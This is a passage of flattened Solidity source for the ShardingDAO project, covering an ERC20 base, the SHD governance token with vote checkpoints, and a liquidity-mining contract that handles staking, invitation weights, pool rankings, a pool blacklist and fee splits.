require(startBlock > block.number, "invalid start block");
startBlock = _startBlock;
updateAfterModifyStartBlock(_startBlock);
}
function transferAdmin(address _admin) public virtual {
checkAdmin();
admin = _admin;
}
function setMarketingFund(address _marketingFund) public virtual onlyOwner {
marketingFund = _marketingFund;
}
function updateAfterModifyStartBlock(uint256 _newStartBlock) internal virtual{
}
function calculateDividend(uint256 _pending, uint256 _pid, uint256 _userAmount, bool _isContractSender) internal view returns (uint256 _marketingFundDividend, uint256 _devDividend, uint256 _userDividend){
uint256 fee = 0;
if(_isContractSender && contractFeeRateDenominator > 0){
fee = _pending.mul(contractFeeRateNumerator).div(contractFeeRateDenominator);
_marketingFundDividend = _marketingFundDividend.add(fee);
_pending = _pending.sub(fee);
}
if(poolTokenAmountLimit[_pid] > 0 && amountfeeRateDenominator > 0 && _userAmount >= poolTokenAmountLimit[_pid]){
fee = _pending.mul(amountFeeRateNumerator).div(amountfeeRateDenominator);
_marketingFundDividend =_marketingFundDividend.add(fee);
_pending = _pending.sub(fee);
}
if(devDividendWeight > 0){
fee = _pending.mul(devDividendWeight).div(devDividendWeight.add(userDividendWeight));
_devDividend = _devDividend.add(fee);
_pending = _pending.sub(fee);
}
_userDividend = _pending;
}
function judgeContractSender(uint256 _pid) internal {
if(msg.sender != tx.origin){
isUserContractSender[_pid][msg.sender] = true;
}
}
function checkAdmin() internal view {
require(admin == msg.sender, "invalid authorized");
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity >=0.6.0 <0.8.0;
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/SHDToken.sol
pragma solidity 0.6.12;
// SHDToken with Governance.
contract SHDToken is ERC20("ShardingDAO", "SHD"), Ownable {
// cross chain
mapping(address => bool) public minters;
struct Checkpoint {
uint256 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint256 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint256) public numCheckpoints;
event VotesBalanceChanged(
address indexed user,
uint256 previousBalance,
uint256 newBalance
);
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public {
require(minters[msg.sender] == true, "SHD : You are not the miner");
_mint(_to, _amount);
}
function burn(uint256 _amount) public {
_burn(msg.sender, _amount);
}
function addMiner(address _miner) external onlyOwner {
minters[_miner] = true;
}
function removeMiner(address _miner) external onlyOwner {
minters[_miner] = false;
}
function getPriorVotes(address account, uint256 blockNumber)
public
view
returns (uint256)
{
require(
blockNumber < block.number,
"getPriorVotes: not yet determined"
);
uint256 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint256 lower = 0;
uint256 upper = nCheckpoints - 1;
while (upper > lower) {
uint256 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _voteTransfer(
address from,
address to,
uint256 amount
) internal {
if (from != to && amount > 0) {
if (from != address(0)) {
uint256 fromNum = numCheckpoints[from];
uint256 fromOld =
fromNum > 0 ? checkpoints[from][fromNum - 1].votes : 0;
uint256 fromNew = fromOld.sub(amount);
_writeCheckpoint(from, fromNum, fromOld, fromNew);
}
if (to != address(0)) {
uint256 toNum = numCheckpoints[to];
uint256 toOld =
toNum > 0 ? checkpoints[to][toNum - 1].votes : 0;
uint256 toNew = toOld.add(amount);
_writeCheckpoint(to, toNum, toOld, toNew);
}
}
}
function _writeCheckpoint(
address user,
uint256 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
) internal {
uint256 blockNumber = block.number;
if (
nCheckpoints > 0 &&
checkpoints[user][nCheckpoints - 1].fromBlock == blockNumber
) {
checkpoints[user][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[user][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[user] = nCheckpoints + 1;
}
emit VotesBalanceChanged(user, oldVotes, newVotes);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override {
_voteTransfer(from, to, amount);
}
}
// File: contracts/ShardingDAOMining.sol
pragma solidity 0.6.12;
contract ShardingDAOMining is IInvitation, ActivityBase {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using FixedPoint for *;
// Info of each user.
struct UserInfo {
uint256 amount; // How much LP token the user has provided.
uint256 originWeight; //initial weight
uint256 inviteeWeight; // invitees' weight
uint256 endBlock;
bool isCalculateInvitation;
}
// Info of each pool.
struct PoolInfo {
uint256 nftPoolId;
address lpTokenSwap; // uniswapPair contract address
uint256 accumulativeDividend;
uint256 usersTotalWeight; // user's sum weight
uint256 lpTokenAmount; // lock amount
uint256 oracleWeight; // eth value
uint256 lastDividendHeight; // last dividend block height
TokenPairInfo tokenToEthPairInfo;
bool isFirstTokenShard;
}
struct TokenPairInfo{
IUniswapV2Pair tokenToEthSwap;
FixedPoint.uq112x112 price;
bool isFirstTokenEth;
uint256 priceCumulativeLast;
uint32 blockTimestampLast;
uint256 lastPriceUpdateHeight;
}
struct InvitationInfo {
address invitor;
address[] invitees;
bool isUsed;
bool isWithdrawn;
mapping(address => uint256) inviteeIndexMap;
}
// black list
struct EvilPoolInfo {
uint256 pid;
string description;
}
// The SHD TOKEN!
SHDToken public SHD;
// Info of each pool.
uint256[] public rankPoolIndex;
// indicates whether the pool is in the rank
mapping(uint256 => uint256) public rankPoolIndexMap;
// relationship info about invitation
mapping(address => InvitationInfo) public usersRelationshipInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Info of each pool.
PoolInfo[] private poolInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public maxRankNumber = 10;
// Last block number that SHARDs distribution occurs.
uint256 public lastRewardBlock;
// produced blocks per day
uint256 public constant produceBlocksPerDay = 6496;
// produced blocks per month
uint256 public constant produceBlocksPerMonth = produceBlocksPerDay * 30;
// SHD tokens created per block.
uint256 public SHDPerBlock = 104994 * (1e13);
// after each term, mine half SHD token
uint256 public constant MINT_DECREASE_TERM = 9500000;
// used to caculate user deposit weight
uint256[] private depositTimeWeight;
// max lock time in stage two
uint256 private constant MAX_MONTH = 36;
// add pool automatically in nft shard
address public nftShard;
// oracle token price update term
uint256 public updateTokenPriceTerm = 120;
// to mint token cross chain
uint256 public shardMintWeight = 1;
uint256 public reserveMintWeight = 0;
uint256 public reserveToMint;
// black list
EvilPoolInfo[] public blackList;
mapping(uint256 => uint256) public blackListMap;
// undividend shard
uint256 public unDividendShard;
// 20% shard => SHD - ETH pool
uint256 public shardPoolDividendWeight = 2;
// 80% shard => SHD - ETH pool
uint256 public otherPoolDividendWeight = 8;
event Deposit(
address indexed user,
uint256 indexed pid,
uint256 amount,
uint256 weight
);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event Replace(
address indexed user,
uint256 indexed rankIndex,
uint256 newPid
);
event AddToBlacklist(
uint256 indexed pid
);
event RemoveFromBlacklist(
uint256 indexed pid
);
event AddPool(uint256 indexed pid, uint256 nftId, address tokenAddress);
function initialize(
SHDToken _SHD,
address _wethToken,
address _developerDAOFund,
address _marketingFund,
uint256 _maxRankNumber,
uint256 _startBlock
) public virtual onlyOwner{
require(WETHToken == address(0), "already initialized");
SHD = _SHD;
maxRankNumber = _maxRankNumber;
if (_startBlock < block.number) {
startBlock = block.number;
} else {
startBlock = _startBlock;
}
lastRewardBlock = startBlock.sub(1);
WETHToken = _wethToken;
initializeTimeWeight();
developerDAOFund = _developerDAOFund;
marketingFund = _marketingFund;
InvitationInfo storage initialInvitor =
usersRelationshipInfo[address(this)];
userDividendWeight = 8;
devDividendWeight = 2;
amountFeeRateNumerator = 0;
amountfeeRateDenominator = 0;
contractFeeRateNumerator = 1;
contractFeeRateDenominator = 5;
initialInvitor.isUsed = true;
}
function initializeTimeWeight() private {
depositTimeWeight = [
1238,
1383,
1495,
1587,
1665,
1732,
1790,
1842,
1888,
1929,
1966,
2000,
2031,
2059,
2085,
2108,
2131,
2152,
2171,
2189,
2206,
2221,
2236,
2250,
2263,
2276,
2287,
2298,
2309,
2319,
2328,
2337,
2346,
2355,
2363,
2370
];
}
function setNftShard(address _nftShard) public virtual {
checkAdmin();
nftShard = _nftShard;
}
// Add a new lp to the pool. Can only be called by the nft shard contract.
// if _lpTokenSwap contains tokenA instead of eth, then _tokenToEthSwap should consist of token A and eth
function add(
uint256 _nftPoolId,
IUniswapV2Pair _lpTokenSwap,
IUniswapV2Pair _tokenToEthSwap
) public virtual {
require(msg.sender == nftShard || msg.sender == admin, "invalid sender");
TokenPairInfo memory tokenToEthInfo;
uint256 lastDividendHeight = 0;
if(poolInfo.length == 0){
_nftPoolId = 0;
lastDividendHeight = lastRewardBlock;
}
bool isFirstTokenShard;
if (address(_tokenToEthSwap) != address(0)) {
(address token0, address token1, uint256 targetTokenPosition) =
getTargetTokenInSwap(_tokenToEthSwap, WETHToken);
address wantToken;
bool isFirstTokenEthToken;
if (targetTokenPosition == 0) {
isFirstTokenEthToken = true;
wantToken = token1;
} else {
isFirstTokenEthToken = false;
wantToken = token0;
}
(, , targetTokenPosition) = getTargetTokenInSwap(
_lpTokenSwap,
wantToken
);
if (targetTokenPosition == 0) {
isFirstTokenShard = false;
} else {
isFirstTokenShard = true;
}
tokenToEthInfo = generateOrcaleInfo(
_tokenToEthSwap,
isFirstTokenEthToken
);
} else {
(, , uint256 targetTokenPosition) =
getTargetTokenInSwap(_lpTokenSwap, WETHToken);
if (targetTokenPosition == 0) {
isFirstTokenShard = false;
} else {
isFirstTokenShard = true;
}
tokenToEthInfo = generateOrcaleInfo(
_lpTokenSwap,
!isFirstTokenShard
);
}
poolInfo.push(
PoolInfo({
nftPoolId: _nftPoolId,
lpTokenSwap: address(_lpTokenSwap),
lpTokenAmount: 0,
usersTotalWeight: 0,
accumulativeDividend: 0,
oracleWeight: 0,
lastDividendHeight: lastDividendHeight,
tokenToEthPairInfo: tokenToEthInfo,
isFirstTokenShard: isFirstTokenShard
})
);
emit AddPool(poolInfo.length.sub(1), _nftPoolId, address(_lpTokenSwap));
}
function setPriceUpdateTerm(uint256 _term) public virtual onlyOwner{
updateTokenPriceTerm = _term;
}
function kickEvilPoolByPid(uint256 _pid, string calldata description)
public
virtual
onlyOwner
{
bool isDescriptionLeagal = verifyDescription(description);
require(isDescriptionLeagal, "invalid description, just ASCII code is allowed");
require(_pid > 0, "invalid pid");
uint256 poolRankIndex = rankPoolIndexMap[_pid];
if (poolRankIndex > 0) {
massUpdatePools();
uint256 _rankIndex = poolRankIndex.sub(1);
uint256 currentRankLastIndex = rankPoolIndex.length.sub(1);
uint256 lastPidInRank = rankPoolIndex[currentRankLastIndex];
rankPoolIndex[_rankIndex] = lastPidInRank;
rankPoolIndexMap[lastPidInRank] = poolRankIndex;
delete rankPoolIndexMap[_pid];
rankPoolIndex.pop();
}
addInBlackList(_pid, description);
dealEvilPoolDiviend(_pid);
emit AddToBlacklist(_pid);
}
function addInBlackList(uint256 _pid, string calldata description) private {
if (blackListMap[_pid] > 0) {
return;
}
blackList.push(EvilPoolInfo({pid: _pid, description: description}));
blackListMap[_pid] = blackList.length;
}
function resetEvilPool(uint256 _pid) public virtual onlyOwner {
uint256 poolPosition = blackListMap[_pid];
if (poolPosition == 0) {
return;
}
uint256 poolIndex = poolPosition.sub(1);
uint256 lastIndex = blackList.length.sub(1);
EvilPoolInfo storage lastEvilInBlackList = blackList[lastIndex];
uint256 lastPidInBlackList = lastEvilInBlackList.pid;
blackListMap[lastPidInBlackList] = poolPosition;
blackList[poolIndex] = blackList[lastIndex];
delete blackListMap[_pid];
blackList.pop();
emit RemoveFromBlacklist(_pid);
}
function dealEvilPoolDiviend(uint256 _pid) private {
PoolInfo storage pool = poolInfo[_pid];
uint256 undistributeDividend = pool.accumulativeDividend;
if (undistributeDividend == 0) {
return;
}
uint256 currentRankCount = rankPoolIndex.length;
if (currentRankCount > 0) {
uint256 averageDividend =
undistributeDividend.div(currentRankCount);
for (uint256 i = 0; i < currentRankCount; i++) {
PoolInfo storage poolInRank = poolInfo[rankPoolIndex[i]];
if (i < currentRankCount - 1) {
poolInRank.accumulativeDividend = poolInRank
.accumulativeDividend
.add(averageDividend);
undistributeDividend = undistributeDividend.sub(
averageDividend
);
} else {
poolInRank.accumulativeDividend = poolInRank
.accumulativeDividend
.add(undistributeDividend);
}
}
} else {
unDividendShard = unDividendShard.add(undistributeDividend);
}
pool.accumulativeDividend = 0;
}
function setMintCoefficient(
uint256 _shardMintWeight,
uint256 _reserveMintWeight
) public virtual {
checkAdmin();
require(
_shardMintWeight != 0 && _reserveMintWeight != 0,
"invalid input"
);
massUpdatePools();
shardMintWeight = _shardMintWeight;
reserveMintWeight = _reserveMintWeight;
}
function setShardPoolDividendWeight(
uint256 _shardPoolWeight,
uint256 _otherPoolWeight
) public virtual {
checkAdmin();
require(
_shardPoolWeight != 0 && _otherPoolWeight != 0,
"invalid input"
);
massUpdatePools();
shardPoolDividendWeight = _shardPoolWeight;
otherPoolDividendWeight = _otherPoolWeight;
}
function setSHDPerBlock(uint256 _SHDPerBlock, bool _withUpdate) public virtual {
checkAdmin();
if (_withUpdate) {
massUpdatePools();
}
SHDPerBlock = _SHDPerBlock;
}
function massUpdatePools() public virtual {
uint256 poolCountInRank = rankPoolIndex.length;
uint256 farmMintShard = mintSHARD(address(this), block.number);
updateSHARDPoolAccumulativeDividend(block.number);
if(poolCountInRank == 0){
farmMintShard = farmMintShard.mul(otherPoolDividendWeight)
.div(shardPoolDividendWeight.add(otherPoolDividendWeight));
if(farmMintShard > 0){
unDividendShard = unDividendShard.add(farmMintShard);
}
}
for (uint256 i = 0; i < poolCountInRank; i++) {
updatePoolAccumulativeDividend(
rankPoolIndex[i],
poolCountInRank,
block.number
);
}
}
// update reward vairables for a pool
function updatePoolDividend(uint256 _pid) public virtual {
if(_pid == 0){
updateSHARDPoolAccumulativeDividend(block.number);
return;
}
if (rankPoolIndexMap[_pid] == 0) {
return;
}
updatePoolAccumulativeDividend(
_pid,
rankPoolIndex.length,
block.number
);
}
function mintSHARD(address _address, uint256 _toBlock) private returns (uint256){
uint256 recentlyRewardBlock = lastRewardBlock;
if (recentlyRewardBlock >= _toBlock) {
return 0;
}
uint256 totalReward =
getRewardToken(recentlyRewardBlock.add(1), _toBlock);
uint256 farmMint =
totalReward.mul(shardMintWeight).div(
reserveMintWeight.add(shardMintWeight)
);
uint256 reserve = totalReward.sub(farmMint);
if (totalReward > 0) {
SHD.mint(_address, farmMint);
if (reserve > 0) {
reserveToMint = reserveToMint.add(reserve);
}
lastRewardBlock = _toBlock;
}
return farmMint;
}
function updatePoolAccumulativeDividend(
uint256 _pid,
uint256 _validRankPoolCount,
uint256 _toBlock
) private {
PoolInfo storage pool = poolInfo[_pid];
if (pool.lastDividendHeight >= _toBlock) return;
uint256 poolReward =
getModifiedRewardToken(pool.lastDividendHeight.add(1), _toBlock)
.mul(otherPoolDividendWeight)
.div(shardPoolDividendWeight.add(otherPoolDividendWeight));
uint256 otherPoolReward = poolReward.div(_validRankPoolCount);
pool.lastDividendHeight = _toBlock;
uint256 existedDividend = pool.accumulativeDividend;
pool.accumulativeDividend = existedDividend.add(otherPoolReward);
}
function updateSHARDPoolAccumulativeDividend (uint256 _toBlock) private{
PoolInfo storage pool = poolInfo[0];
if (pool.lastDividendHeight >= _toBlock) return;
uint256 poolReward =
getModifiedRewardToken(pool.lastDividendHeight.add(1), _toBlock);
uint256 shardPoolDividend = poolReward.mul(shardPoolDividendWeight)
.div(shardPoolDividendWeight.add(otherPoolDividendWeight));
pool.lastDividendHeight = _toBlock;
uint256 existedDividend = pool.accumulativeDividend;
pool.accumulativeDividend = existedDividend.add(shardPoolDividend);
}
// deposit LP tokens to MasterChef for SHD allocation.
// ignore lockTime in stage one
function deposit(
uint256 _pid,
uint256 _amount,
uint256 _lockTime
) public virtual {
require(_amount > 0, "invalid deposit amount");
InvitationInfo storage senderInfo = usersRelationshipInfo[msg.sender];
require(senderInfo.isUsed, "must accept an invitation firstly");
require(_lockTime > 0 && _lockTime <= 36, "invalid lock time"); // less than 36 months
PoolInfo storage pool = poolInfo[_pid];
uint256 lpTokenAmount = pool.lpTokenAmount.add(_amount);
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 newOriginWeight = user.originWeight;
uint256 existedAmount = user.amount;
uint256 endBlock = user.endBlock;
uint256 newEndBlock =
block.number.add(produceBlocksPerMonth.mul(_lockTime));
if (existedAmount > 0) {
if (block.number >= endBlock) {
newOriginWeight = getDepositWeight(
_amount.add(existedAmount),
_lockTime
);
} else {
newOriginWeight = newOriginWeight.add(getDepositWeight(_amount, _lockTime));
newOriginWeight = newOriginWeight.add(
getDepositWeight(
existedAmount,
newEndBlock.sub(endBlock).div(produceBlocksPerMonth)
)
);
}
} else {
judgeContractSender(_pid);
newOriginWeight = getDepositWeight(_amount, _lockTime);
}
modifyWeightByInvitation(
_pid,
msg.sender,
user.originWeight,
newOriginWeight,
user.inviteeWeight,
existedAmount
);
updateUserInfo(
user,
existedAmount.add(_amount),
newOriginWeight,
newEndBlock
);
IERC20(pool.lpTokenSwap).safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
pool.oracleWeight = getOracleWeight(pool, lpTokenAmount);
pool.lpTokenAmount = lpTokenAmount;
if (
rankPoolIndexMap[_pid] == 0 &&
rankPoolIndex.length < maxRankNumber &&
blackListMap[_pid] == 0
) {
addToRank(pool, _pid);
}
emit Deposit(msg.sender, _pid, _amount, newOriginWeight);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid) public virtual {
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 amount = user.amount;
require(amount > 0, "user is not existed");
require(user.endBlock < block.number, "token is still locked");
mintSHARD(address(this), block.number);
updatePoolDividend(_pid);
uint256 originWeight = user.originWeight;
PoolInfo storage pool = poolInfo[_pid];
uint256 usersTotalWeight = pool.usersTotalWeight;
uint256 userWeight = user.inviteeWeight.add(originWeight);
if(user.isCalculateInvitation){
userWeight = userWeight.add(originWeight.div(INVITOR_WEIGHT));
}
if (pool.accumulativeDividend > 0) {
uint256 pending = pool.accumulativeDividend.mul(userWeight).div(usersTotalWeight);
pool.accumulativeDividend = pool.accumulativeDividend.sub(pending);
uint256 treasruyDividend;
uint256 devDividend;
(treasruyDividend, devDividend, pending) = calculateDividend(pending, _pid, amount, isUserContractSender[_pid][msg.sender]);
if(treasruyDividend > 0){
safeSHARDTransfer(marketingFund, treasruyDividend);
}
if(devDividend > 0){
safeSHARDTransfer(developerDAOFund, devDividend);
}
if(pending > 0){
safeSHARDTransfer(msg.sender, pending);
}
}
pool.usersTotalWeight = usersTotalWeight.sub(userWeight);
user.amount = 0;
user.originWeight = 0;
user.endBlock = 0;
IERC20(pool.lpTokenSwap).safeTransfer(address(msg.sender), amount);
pool.lpTokenAmount = pool.lpTokenAmount.sub(amount);
if (pool.lpTokenAmount == 0) pool.oracleWeight = 0;
else {
pool.oracleWeight = getOracleWeight(pool, pool.lpTokenAmount);
}
resetInvitationRelationship(_pid, msg.sender, originWeight);
emit Withdraw(msg.sender, _pid, amount);
}
function addToRank(
PoolInfo storage _pool,
uint256 _pid
) private {
if(_pid == 0){
return;
}
massUpdatePools();
_pool.lastDividendHeight = block.number;
rankPoolIndex.push(_pid);
rankPoolIndexMap[_pid] = rankPoolIndex.length;
if(unDividendShard > 0){
_pool.accumulativeDividend = _pool.accumulativeDividend.add(unDividendShard);
unDividendShard = 0;
}
emit Replace(msg.sender, rankPoolIndex.length.sub(1), _pid);
return;
}
//_poolIndexInRank is the index in rank
//_pid is the index in poolInfo
function tryToReplacePoolInRank(uint256 _poolIndexInRank, uint256 _pid)
public
virtual
{
if(_pid == 0){
return;
}
PoolInfo storage pool = poolInfo[_pid];
require(pool.lpTokenAmount > 0, "there is not any lp token depsoited");
require(blackListMap[_pid] == 0, "pool is in the black list");
if (rankPoolIndexMap[_pid] > 0) {
return;
}
uint256 currentPoolCountInRank = rankPoolIndex.length;
require(currentPoolCountInRank == maxRankNumber, "invalid operation");
uint256 targetPid = rankPoolIndex[_poolIndexInRank];
PoolInfo storage targetPool = poolInfo[targetPid];
uint256 targetPoolOracleWeight = getOracleWeight(targetPool, targetPool.lpTokenAmount);
uint256 challengerOracleWeight = getOracleWeight(pool, pool.lpTokenAmount);
if (challengerOracleWeight <= targetPoolOracleWeight) {
return;
}
updatePoolDividend(targetPid);
rankPoolIndex[_poolIndexInRank] = _pid;
delete rankPoolIndexMap[targetPid];
rankPoolIndexMap[_pid] = _poolIndexInRank.add(1);
pool.lastDividendHeight = block.number;
emit Replace(msg.sender, _poolIndexInRank, _pid);
}
function acceptInvitation(address _invitor) public virtual override {
require(_invitor != msg.sender, "invitee should not be invitor");
buildInvitation(_invitor, msg.sender);
}
function buildInvitation(address _invitor, address _invitee) private {
InvitationInfo storage invitee = usersRelationshipInfo[_invitee];
require(!invitee.isUsed, "has accepted invitation");
invitee.isUsed = true;
InvitationInfo storage invitor = usersRelationshipInfo[_invitor];
require(invitor.isUsed, "invitor has not acceptted invitation");
invitee.invitor = _invitor;
invitor.invitees.push(_invitee);
invitor.inviteeIndexMap[_invitee] = invitor.invitees.length.sub(1);
}
function setMaxRankNumber(uint256 _count) public virtual {
checkAdmin();
require(_count > 0, "invalid count");
if (maxRankNumber == _count) return;
massUpdatePools();
maxRankNumber = _count;
uint256 currentPoolCountInRank = rankPoolIndex.length;
if (_count >= currentPoolCountInRank) {
return;
}
uint256 sparePoolCount = currentPoolCountInRank.sub(_count);
uint256 lastPoolIndex = currentPoolCountInRank.sub(1);
while (sparePoolCount > 0) {
delete rankPoolIndexMap[rankPoolIndex[lastPoolIndex]];
rankPoolIndex.pop();
lastPoolIndex--;
sparePoolCount--;
}
}
function getModifiedRewardToken(uint256 _fromBlock, uint256 _toBlock)
private
view
returns (uint256)
{
return
getRewardToken(_fromBlock, _toBlock).mul(shardMintWeight).div(
reserveMintWeight.add(shardMintWeight)
);
}
// View function to see pending SHARDs on frontend.
